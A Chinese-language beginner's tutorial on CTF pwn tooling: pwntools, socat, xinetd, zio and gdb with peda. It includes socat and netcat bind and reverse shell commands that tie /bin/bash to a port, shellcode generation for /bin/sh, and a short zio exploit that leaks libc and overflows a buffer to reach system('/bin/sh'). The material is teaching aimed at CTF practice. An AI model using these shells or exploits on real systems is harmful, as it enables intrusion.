Pwn学习历程(1)--基本工具、交互、调试

来源:互联网 发布:数据库的安全性控制 编辑:程序博客网 时间:2024/05/29 10:12

从基础开始

简单原理介绍

以下内容摘自Wiki:

Pwn是一个骇客语法的俚语词,自”own”这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:”You just got pwned!”)。

在骇客行话里,尤其在另外一种电脑技术方面,包括电脑(服务器或个人电脑)、网站、闸道装置、或是应用程序,”pwn”在这一方面的意思是==攻破==(”to compromise”,危及、损害)或是==控制==(”to control”)。在这一方面的意义上,它与骇客入侵与破解是相同意思的。例如某一个外部团体已经取得未经公家许可的系统管理员控制权限,并利用这个权限骇入并入侵(”owned” 或是 “pwned”)这个系统。

一般思路

1.查壳

当我们拿到一个pwn文件时,首先应当查壳。在ctf比赛中的pwn大多在Linux下,Linux下没有很强力的壳,一般都是upx格式的壳,所以可以在命令行中用upx -d file来进行脱壳操作。

2.查看所使用的防护技术

接下来,我们可以用checksec脚本来查询该文件使用了哪些防护技术。

./checksec --file file

操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,包括DEP、ASLR等。在编写漏洞利用代码的时候,需要特别注意目标进程是否开启了DEP(Linux下对应NX)、ASLR(Linux下对应PIE)等机制,例如存在DEP(NX)的话就不能直接执行栈上的数据,存在ASLR的话各个系统调用的地址就是随机化的。checksec脚本可以在这里下载。Checksec:http://www.trapkit.de/tools/checksec.sh

3、具体分析

基本工具

pwntools库

参考
http://pwntools.readthedocs.io/en/stable/ (官网介绍)

http://brieflyx.me/2015/python-module/pwntools-intro/

http://brieflyx.me/2015/python-module/pwntools-advanced/

pwntools是一个CTF框架和漏洞利用开发库,用Python开发,由rapid设计,旨在让使用者==简单快速的编写exploit==。包含了==本地执行、远程连接读写、shellcode生成、ROP链的构建、ELF解析、符号泄露==等众多强大功能。

安装:

1、安装Binutils

git clone https://github.com/Gallopsled/pwntools-binutilssudo apt-get install software-properties-commonsudo apt-add-repository ppa:pwntools/binutilssudo apt-get updatesudo apt-get install binutils-arm-linux-gnu

2、安装Capstone(反汇编框架)

~$ git clone https://github.com/aquynh/capstone~$ cd capstone~$ make~$ sudo make install

3、安装pwntools

~$ sudo apt-get install libssl-dev~$ sudo pip install pwntools//这个直接打包安装所需要的库和框架了,不需要1、2步

安装完成后终端输入python进入其交互模式后,输入import pwn回车后没报错,差不多就好了

>>> import pwn  >>> pwn.asm("xor eax,eax")  '1\xc0'//如果执行结果和上面相同,则说明安装成功,pwn模块现在可以使用了。

模块:

一般直接用from pwn import * 或者import pwn将所有模块导入到当前命名空间,这条语句还会把os、sys等常用的系统库一并导入。

常用的模块有下面几个:
- ==asm==:汇编与反汇编
- ==dynelf==:用于远程符号泄露,需要提供leak方法
- ==elf==:对elf文件进行操作
- ==gdb==:配合gdb进行调试
- ==memleak==:用于内存泄漏
- ==shellcraft==: shellcode的生成器
- ==tubes==:包括tubes: 包括tubes.sock, tubes.process, tubes.ssh, tubes.serialtube,分别适用于不同场景的PIPE
- ==utils==:一些实用的小功能,例如CRC计算,cyclic pattern等

Tubes读写接口:

对于一次攻击而言前提就是与目标服务器或者程序进行交互,这里就可以用remote(address,port)产生一个远程的socket然后就可以读写了。

>

>>> conn = remote('ftp.debian.org',21)>>> conn.recvline()'220 ...'>>> conn.send('USER anonymous\r\n')>>> conn.recvuntil(' ',drop = True)'331'>>> conn.recvline()'Please specify the password.\r\n'>>> conn.close()

同样的,使用process可以打开一个本地程序并进行交互

>>> sh = process('/bin/sh')>>> sh.sendline('sleep 3; echo hello world!;')>>> sh.recvline(timeout=1)''>>> sh.recvline(timeout=5)'hello world!\n'>>> sh.close

同时,也可以使用listen来开启一个本地的监听端口

>>> l = listen()>>> r = remote('localhost', l.lport)>>> c = l.wait_for_connection()>>> r.send('hello')>>> c.recv()'hello'

无论哪种PIPE都是继承tube而来,可以用于读写函数主要有:
- interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用
- recv(numb = 4096,timeout = default):接收指定字节
- recvall() : 一直接收知道EOF
- recvline(keepends = True): 接收一行,keepends为是否保留行尾的\n,默认为Ture
- recvuntil((delims,drop=False):一直读到delims的pattern出现为止
- recvrepeat(timeout=default): 持续接收知道EOF或者timeout
- send(data) :发送数据
- sendline(data) : 发送一行数据,相当于在数据末尾加\n

汇编与反汇编:

http://docs.pwntools.com/en/stable/asm.html?highlight=asm

使用asm来进行汇编

>>> asm('mov eax, 0')'\xb8\x00\x00\x00\x00'>>> asm('mov eax, SYS_execve')'\xb8\x0b\x00\x00\x00'>>> asm(shellcraft.nop())'\x90'

可以使用context来指定cpu类型以及操作系统

>>> context.arch      = 'i386'>>> context.os        = 'linux'>>> context.endian    = 'little'>>> context.word_size = 32

注意:Any arguments/properties that can be set on context

>>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')'\xb8]\x00\x00\x00'>>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')'\xb8\x17\x00\x00\x00'>>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')'H\xc7\xc0\x17\x00\x00\x00'>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)'R\x00\xa0\xe3'

使用disasm进行反汇编(同样可以指定cpu类型)

>>> print disasm('6a0258cd80ebf9'.decode('hex'))   0:   6a 02                   push   0x2   2:   58                      pop    eax   3:   cd 80                   int    0x80   5:   eb f9                   jmp    0x0>>> print disasm('b85d000000'.decode('hex'), arch = 'i386')   0:   b8 5d 00 00 00          mov    eax,0x5d>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)   0:   mov    eax,0x5d>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)mov    eax,0x5d>>> print disasm('b817000000'.decode('hex'), arch = 'amd64')   0:   b8 17 00 00 00          mov    eax,0x17>>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')   0:   48 c7 c0 17 00 00 00    mov    rax,0x17>>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')   0:   e51f0004        ldr     r0, [pc, #-4]   ; 0x4   4:   00900052        addseq  r0, r0, r2, asr r0>>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)   0:   f04f 0005       mov.w   r0, #5

shellcode生成器:

http://docs.pwntools.com/en/stable/shellcraft.html?highlight=shellcraft

使用shellcraft可以生成对应架构的shellcode代码,直接使用链式调用的方法就可以得到

>>> print shellcraft.i386.nop().strip('\n')    nop>>> print shellcraft.i386.linux.sh()    /*push '/bin///sh\x00'*/    push 0x68    push 0x732f2f2f    push 0x6e69622f

如上所示,如果需要在64位的Linux上执行/bin/sh 就可以使用shellcraft.amd64.linux.sh(),配合asm函数就能够得到最终的payload了。

除了直接执行sh之外,还可以进行其他的一些常用操作如提权、反向链接等。

ELF文件操作:

http://docs.pwntools.com/en/stable/elf.html?highlight=elf#module-pwnlib.elf

这个还是挺实用的,在进行elf文件逆向的时候,总是需要对各个符号的地址进行分析,elf模块提供了一种便捷的方法能够==迅速得到文件内函数的地址,plt位置以及got表的位置。==

>>> e = ELF('/bin/cat')>>> print hex(e.address)  # 文件装载的基地址0x400000>>> print hex(e.symbols['write']) # 函数地址0x401680>>> print hex(e.got['write']) # GOT表的地址0x60b070>>> print hex(e.plt['write']) # PLT的地址0x401680

同样,也可以打开一个libc.so来解析其中system的位置:

甚至可以修改一个ELF的代码

>>> e = ELF('/bin/cat')>>> e.read(e.address+1, 3)'ELF'>>> e.asm(e.address, 'ret')>>> e.save('/tmp/quiet-cat')>>> disasm(file('/tmp/quiet-cat','rb').read(1))'   0:   c3                      ret'

下面是一些可用的函数:

  • asm(address, assembly) : 在指定地址进行汇编
  • bss(offset) : 返回bss段的位置,offset是偏移值
  • checksec() : 对elf进行一些安全保护检查,例如NX, PIE等。
  • disasm(address, n_bytes) : 在指定位置进行n_bytes个字节的反汇编
  • offset_to_vaddr(offset) : 将文件中的偏移offset转换成虚拟地址VMA
  • vaddr_to_offset(address) : 与上面的函数作用相反
  • read(address, count) : 在address(VMA)位置读取count个字节
  • write(address, data) : 在address(VMA)位置写入data
  • section(name) : dump出指定section的数据

ROP链生成器:

先简单回顾一下==ROP的原理==,由于NX开启不能在栈上执行shellcode,我们可以在栈上布置一系列的返回地址与参数,这样可以进行多次的函数调用,通过函数尾部的ret语句控制程序的流程,而用程序中的一些pop/ret的代码块(称之为gadget)来平衡堆栈。其完成的事情无非就是放上/bin/sh,覆盖程序中某个函数的GOT为system的,然后ret到那个函数的plt就可以触发system(‘/bin/sh’)。由于是利用ret指令的exploit,所以叫Return-Oriented Programming。(如果没有开启ASLR,可以直接使用ret2libc技术)

好,这样来看,这种技术的难点自然就是如何在栈上布置返回地址以及函数参数了。而ROP模块的作用,就是自动地寻找程序里的gadget,自动在栈上部署对应的参数。

elf = ELF('ropasaurusrex')rop = ROP(elf)rop.read(0, elf.bss(0x80))rop.dump()# ['0x0000:        0x80482fc (read)',#  '0x0004:       0xdeadbeef',#  '0x0008:              0x0',#  '0x000c:        0x80496a8']str(rop)# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'

使用ROP(elf)来产生一个rop的对象,这时rop链还是空的,需要在其中添加函数

因为ROP对象实现了getattr的功能,可以直接通过func call的形式来添加函数,rop.read(0, elf.bss(0x80))实际相当于rop.call(‘read’, (0, elf.bss(0x80)))。

通过多次添加函数调用,最后使用str将整个rop chain dump出来就可以了。

  • call(resolvable, arguments=()) : 添加一个调用,resolvable可以是一个符号,也可以是一个int型地址,注意后面的参数必须是元组否则会报错,即使只有一个参数也要写成元组的形式(在后面加上一个逗号)
  • chain() : 返回当前的字节序列,即payload
  • dump() : 直观地展示出当前的rop chain
  • raw() : 在rop chain中加上一个整数或字符串
  • search(move=0, regs=None, order=’size’) : 按特定条件搜索gadget,没仔细研究过
  • unresolve(value) : 给出一个地址,反解析出符号

其他:

对于整数的pack与数据的unpack,可以使用p32,p64,u32,u64这些函数,分别对应着32位和64位的整数。

另外,在utils工具中比较常用的就是可以使用cyclic pattern来找到return address的位置,这个功能在gbd peda中也是有的,这里就不过多介绍了。

GDB调试:

对于elf文件来说,可能有时需要我们进行一些动态调试工作,这个时候级需要用到gdb,pwntools的gdb模块也提供了这方面的支持。

其中最常用的还是attach函数,在指定process之后可以attach上去调试,配合proc模块就可以得到进程的Pid非常方便。

但是比较麻烦的是在实现上,attach函数需要开启一个新的terminal,这个terminal的类型必须使用环境变量或者context对象来指定。研究了一番源码之后,找到了解决方案。

s = process('./pwnme')context.terminal = ['gnome-terminal','-x','sh','-c']gdb.attach(proc.pidof(s)[0])

proc.pidof(s)[0]能够取出process的id,然后attach上去。context.terminal制定的是终端类型和参数,我用的是gnome-terminal可以这样写,这样运行后会自动打开一个新的gnome-terminal并在里面启动gdb并自动断下来,这样就可以调试了。

DynELF 符号leak

http://docs.pwntools.com/en/stable/dynelf.html

相当好用的一个工具,给出一个函数句柄,可以解析任意符号的位置。这个函数的功能是:==输入任意一个address,输出这个address中的data(至少1byte)。==

官网给的例子:

# Assume a process or remote connectionp = process('./pwnme')# Declare a function that takes a single address, and# leaks at least one byte at that address.def leak(address):    data = p.read(address, 4)    log.debug("%#x => %s" % (address, (data or '').encode('hex')))    return data# For the sake of this example, let's say that we# have any of these pointers.  One is a pointer into# the target binary, the other two are pointers into libcmain   = 0xfeedf4celibc   = 0xdeadb000system = 0xdeadbeef# With our leaker, and a pointer into our target binary,# we can resolve the address of anything.## We do not actually need to have a copy of the target# binary for this to work.d = DynELF(leak, main)assert d.lookup(None,     'libc') == libc   #libc的基址assert d.lookup('system', 'libc') == system #system的地址# However, if we *do* have a copy of the target binary,# we can speed up some of the steps.# 指定一份elf的副本可以加速查找过程d = DynELF(leak, main, elf=ELF('./pwnme'))assert d.lookup(None,     'libc') == libcassert d.lookup('system', 'libc') == system# Alternately, we can resolve symbols inside another library,# given a pointer into it.d = DynELF(leak, libc + 0x1234)assert d.lookup('system')      == system

这个例子当然没有实际意义,在应用中我们可以在leak函数中布置rop链,使用write函数leak出一个address的地址,然后返回。接着就可以使用d.lookup函数查找符号了,通常我们都是需要找system的符号。

还有更多的Pwntools的功能,待以后实际操作过程中再一一学习。

socat

参考:
http://brieflyx.me/2015/linux-tools/socat-introduction/
http://wenku.baidu.com/link?url=h0fQOr1coKxkEAZGmU7nUk1m4bJiyFj9nHojegUb08CP4Zh2HWTkXK0YjDsdjxPtQTZyASvgX0srKRspGtYE3A2rJ_0uo2sZXBmo05ditVu

概述

Socat是Linux下的一个多功能的网络工具,可以看做是netcat的N倍加强版。它的主要特点就是在两个数据流之间建立通道,且支持众多协议和连接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等

安装

Ubuntu上可以直接

sudo apt-get install socat

或者去官网下载源代码包:http://www.dest-unreach.org/socat/

使用

基本语法:

socat [options] <address> <address>

(其工作过程是单步执行的,先打开第一个连接再打开第二个连接,如果第一个连接打开失败则终止。)

几个常用的[options]方式如下:

-,STDIN,STDOUT :表示标准输入输出,可以就用一个横杠代替,这个就不用多说了吧…./var/log/syslog : 也可以是任意路径,如果是相对路径要使用./,打开一个文件作为数据流。TCP:: : 建立一个TCP连接作为数据流,TCP也可以替换为UDPTCP-LISTEN: : 建立TCP监听端口,TCP也可以替换为UDPEXEC: : 执行一个程序作为数据流。
当cat使用:
  1. 直接回显:
socat - - 
  1. cat文件:
socat - /home/usr/chuck 
  1. 写文件:
echo "hello" | socat - /home/user/chuck
当netcat使用:

 
1. 连接远程端口

nc localhost 80socat - TCP:localhost:80/*这两个命令等同,在socat里必须有两个流,所以第一个参数-代表标准的输入输出,第二个流连接到localhost的80端口*/

2.监听端口

nc -lp localhost 700socat TCP-LISTEN:700 -/*这两个命令等同*/

3.正向shell

nc -lp localhost 700 -e /bin/bashsocat TCP-LISTEN:700 EXEC:/bin/bash/*这两个命令等同,这个命令把/bin/bash绑定到端口700*/

4.反弹shell

nc localhost 700 -e /bin/bashsocat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane/*这两个命令等同*/
代理与转发:
 socat TCP-LISTEN:80,fork TCP:www.domain.org:80 /*本地监听80端口,来自80端口的连接重定向到目标www.domain.org:80,fork参数是需要使用并发连接*/
通过openssl来加密传输过程:

1、首先生成证书

FILENAME=server openssl genrsa -out$FILENAME.key 1024openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crtcat $FILENAME.key $FILENAME.crt >$FILENAME.pem /*在当前目录下生成server.pem server.crt*/

2、使用

/*在服务器端*/socat OPENSSL-LISTEN:443,cert=/cert.pem -/*在本地*/socat - OPENSSL:localhost:443
fork服务器:

这个是关键功能,可以将一个使用标准输入输出的单进程程序变为一个使用fork方法的多进程服务。非常方便
(更多fork函数详解参考:http://www.cnblogs.com/bastard/archive/2012/08/31/2664896.html)

socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld/*TCP-LISTEN:在本地建立的是一个TCP协议的监听端口reuseaddr:绑定本地一个端口fork:设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听*/
端口映射:

这是一个广泛使用的功能,在一个NAT环境,如何从外部连接到内部的一个端口呢?只要能在内部运行socart就行了。
外部:

socat tcp-listen:1234 tcp-listen:3389

内部:

socat tcp:outerhost:1234 tcp:192.168.12.34:3389//这样,外部机器上的3389就映射在内部网192.168.12.343389端口上了

—–

xinetd(extended internet daemon)

参考:http://blog.sina.com.cn/s/blog_6ceed3280101jja0.html

xinetd和inetd程序是Linux系统下常见的两种服务,前者已经取代了inetd,并且提供了访问控制、加强的日志和资源管理功能,已经成了Red Hat 7 和 Mandrake 7.2的Internet标准超级守护进程。
xinetd是新一代的网络守护进程服务程序,又叫超级Internet服务器,常用来管理多种轻量级Internet服务。
xinetd提供类似于inetd+tcp_wrapper的功能,但是更加强大和安全。

特色:

1) 强大的存取控制功能
— 内置对恶意用户和善意用户的差别待遇设定。
— 使用libwrap支持,其效能更甚于tcpd。
— 可以限制连接的等级,基于主机的连接数和基于服务的连接数。
— 设置特定的连接时间。
— 将某个服务设置到特定的主机以提供服务。
2) 有效防止DoS攻击
— 可以限制连接的等级。
— 可以限制一个主机的最大连接数,从而防止某个主机独占某个服务。
— 可以限制日志文件的大小,防止磁盘空间被填满。
3) 强大的日志功能
— 可以为每一个服务就syslog设定日志等级。
— 如果不使用syslog,也可以为每个服务建立日志文件。
— 可以记录请求的起止时间以决定对方的访问时间。
— 可以记录试图非法访问的请求。
4) 转向功能
可以将客户端的请求转发到另一台主机去处理。
5) 支持IPv6
xinetd自xinetd 2.1.8.8pre*起的版本就支持IPv6,可以通过在./configure脚本中使用with-inet6 capability选项来完成。
注意,要使这个生效,核心和网络必须支持IPv6。IPv4仍然被支持。
6) 与客户端的交互功能
无论客户端请求是否成功,xinetd都会有提示告知连接状态。

安装与配置:

参考
http://book.51cto.com/art/201212/372138.htm
http://blog.sina.com.cn/s/blog_6ceed3280101jja0.html

xinetd全局配置文件为/etc/xinetd.conf。这个文件包含应用到xinetd所控制的所有服务的设置值,除非特定服务的/etc/xinetd.d中的文件重写了这些默认值。如果对这个文件作了修改,则执行service xinetd reload命令使修改生效。

ZIO

在编写exp的时候所用到的pwntools和zio都是Python开发的工具,同时方便了远程exp和本地exp的转换

//安装sudo pip install zio

zio is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.

The primary goal of zio is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server.

The following code illustrate the basic idea.

from zio import *  if you_are_debugging_local_server_binary:      io = zio('./buggy-server')            # used for local pwning development  elif you_are_pwning_remote_server:      io = zio(('1.2.3.4', 1337))           # used to exploit remote service  io.write(your_awesome_ropchain_or_shellcode)  # hey, we got an interactive shell!  io.interact()

以下是实例:

from zio import *  io = zio('./buggy-server')  # io = zio((pwn.server, 1337))  for i in xrange(1337):      io.writeline('add ' + str(i))      io.read_until('>>')  io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")  io.read_until('A' * 49)  libc_base = l32(io.read(4)) - 0x1a9960  libc_system = libc_base + 0x3ea70  libc_binsh = libc_base + 0x15fcbf  payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)  io.write('info ' + payload + "\nshow\nexit\n")  io.read_until(">>")  # We've got a shell;-)  io.interact()

gdb+peda

在Linux中,使用gdb命令可以很方便的调试程序,再加上peda插件可以使用更强大的功能。

参考:http://blog.csdn.net/haoel/article/details/2879

一般来说,GDB主要帮忙你完成下面四个方面的功能:

1、启动你的程序,可以按照你的自定义的要求随心所欲的运行程序。2、可让被调试的程序在你所指定的调置的断点处停住。(断点可以是条件表达式)3、当程序被停住时,可以检查此时你的程序中所发生的事。4、动态的改变你程序的执行环境。

调试过程:

1、编译程序

gcc -g test.c -o test//gcc中-g选项是为了获得有关调试信息,要用gdb进行调试,必须使用-g生成二进制可执行文件

2、开始调试

peda是Long Le在Blackhat2012黑帽会议中放出的Python脚本工具,它可以辅助黑客编写EXP,可以运行在Unix/linux系统上。

peda是gdb的一个插件,安装后大大提升gdb在分析逆向/溢出程序时的用户体验。

https://github.com/longld/peda

安装peda:

git clone https://github.com/longld/peda.git ~/pedaecho "source ~/peda/peda.py" >> ~/.gdbinitecho "DONE! debug your program with gdb and enjoy"/*peda不支持python3版本的gdb,因此需要安装低版本的gdb。 */

现在执行gdb就会发现之前gdbgdbpeda

常用命令: 1. checksec 查看elf编译的保护选项。 2. file [file] 加载objfile 3. disas addr 对地址addr处的指令进行反汇编,addr可以是函数名 4. b *addr 在addr处下一个断点 5. x addr 查看addr处存储的数据值 6. r 运行被调试的程序 7. c 继续运行 8. ni 单步执行不进入 9. si 单步执行并进入10.vmmap 得到虚拟映射地址

IDA

很有名的一款静态反汇编软件,等后面具体分析时使用。

1 0
原创粉丝点击